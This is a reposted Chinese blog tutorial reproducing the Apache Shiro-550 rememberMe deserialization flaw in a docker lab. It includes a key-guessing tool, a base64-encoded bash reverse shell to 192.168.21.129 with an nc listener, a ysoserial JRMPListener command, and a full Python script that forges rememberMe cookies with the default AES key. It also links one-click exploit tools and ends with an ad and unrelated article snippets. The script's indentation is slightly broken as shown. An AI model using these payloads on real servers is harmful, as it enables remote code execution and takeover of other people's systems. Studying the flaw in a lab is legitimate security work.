Shiro remeberMe反序列化漏洞(Shiro-550)

摘要:
在服务器端,rememberMe的cookie值首先被base64解码,然后被AES解密,然后被反序列化,从而导致反序列化RCE漏洞。
1.漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

那么,Payload产生的过程:命令=》序列化=》AES加密=》base64编码=》RememberMe Cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么久很容易就知道密钥,payload构造起来也是十分简单。

1.1影响版本:Apache Shiro < 1.2.4 1.2特征判断:返回包中包含rememberMe=deleteMe字段


2.漏洞发现

2.1环境搭建

获取docker镜像

docker pull medicean/vulapps:s_shiro_1

启动docker镜像:

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

2.2漏洞检测

这里使用一个shiro_exploit工具,检查是否存在默认的key

github项目地址:https://github.com/insightglacier/Shiro_exploit

使用方法:python2 shiro_exploit.py –u 目标机地址及端口

image

image

会不停的匹配key值,共22种。通过对靶场的测试我们发现使用红框里的AES密钥,有了key之后有两种利用方式。

3.漏洞利用

3.1利用方式一:反弹shell

3.1.1制作反弹shell代码

监听本地端口

nc –lvp 1234

Java Runtime配合bash编码,在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

得到编码后的结果:  bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

image

3.1.2通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

3.1.3使用shiro.py生成payload

python shiro.py 192.168.21.129:6666

shiro.py代码如下:

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

     popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

     BS = AES.block_size

     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

     key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

     iv = uuid.uuid4().bytes

     encryptor = AES.new(key, AES.MODE_CBC, iv)

     file_body = pad(popen.stdout.read())

     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

     return base64_ciphertext

if __name__ == '__main__':

     payload = encode_rememberme(sys.argv[1])  

print "rememberMe={0}".format(payload.decode())

image

3.1.4构造数据包,伪造cookie,发送payload

输入任意账号密码,记住选择rememberme选项

image

将之前生成的payload加入到cookie中发送

image

nc监听端口,成功反弹

image

Java监听接口,查看服务器链接情况

image

一键化自动化工具:https://github.com/feihong-cs/ShiroExploit

免责声明:文章转载自《Shiro remeberMe反序列化漏洞(Shiro-550)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇【IDEA】IDEA设置修改完JS和JSP不用重启的办法(IDEA热部署)04_上架APPstore时候的宣传页尺寸下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

关于aes加密

aes加密有几种模式:CBC,AES-128bit, Pkcs7补码方式(后台有可能是PKCS5Padding,是一样的),安卓和ios的key密钥对长度没有要求,但是前端web的密钥和偏移量必须是16位的,才能与java后台对上,前端代码如下 //aes加密 function encrypt(word) { var key = CryptoJ...

在vue项目中引入Base64

安装:npm install --save js-base64 在组件中直接引入let Base64 = require('js-base64').Base64; 使用: Base64.decode('dsdsdSd'); Base64.decode('3232131'); Base64.encode('6545hgdfg'); Base64.enc...

Fastjson远程代码执行漏洞复现

fastjson漏洞简介 Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。 fastjson漏洞原理 先来分析fastjson 1.2.47的POC { "a":...

java script btoa与atob的

javascript原生的api本来就支持,Base64,但是由于之前的javascript局限性,导致Base64基本中看不中用。当前html5标准正式化之际,Base64将有较大的转型空间,对于Html5 Api中出现的如FileReader Api, 拖拽上传,甚至是Canvas,Video截图都可以实现。 好了,前言说了一大堆,Base64转码和解...

【转】基于Token的WEB后台认证机制

原谅地址:http://www.cnblogs.com/xiekeli/p/5607107.html 几种常用的认证机制 HTTP Basic Auth HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名...

Redis入门 – Jedis存储Java对象

Redis入门 – Jedis存储Java对象 - (Java序列化为byte数组方式)   原文地址:http://alanland.iteye.com/admin/blogs/1600685(欢迎转载 - 转载请保留该原文链接)   07/19/12 03:08:05 PM   在Jedis开发中,我们很多时候希望直接把一个对象放到Redis中,然后在...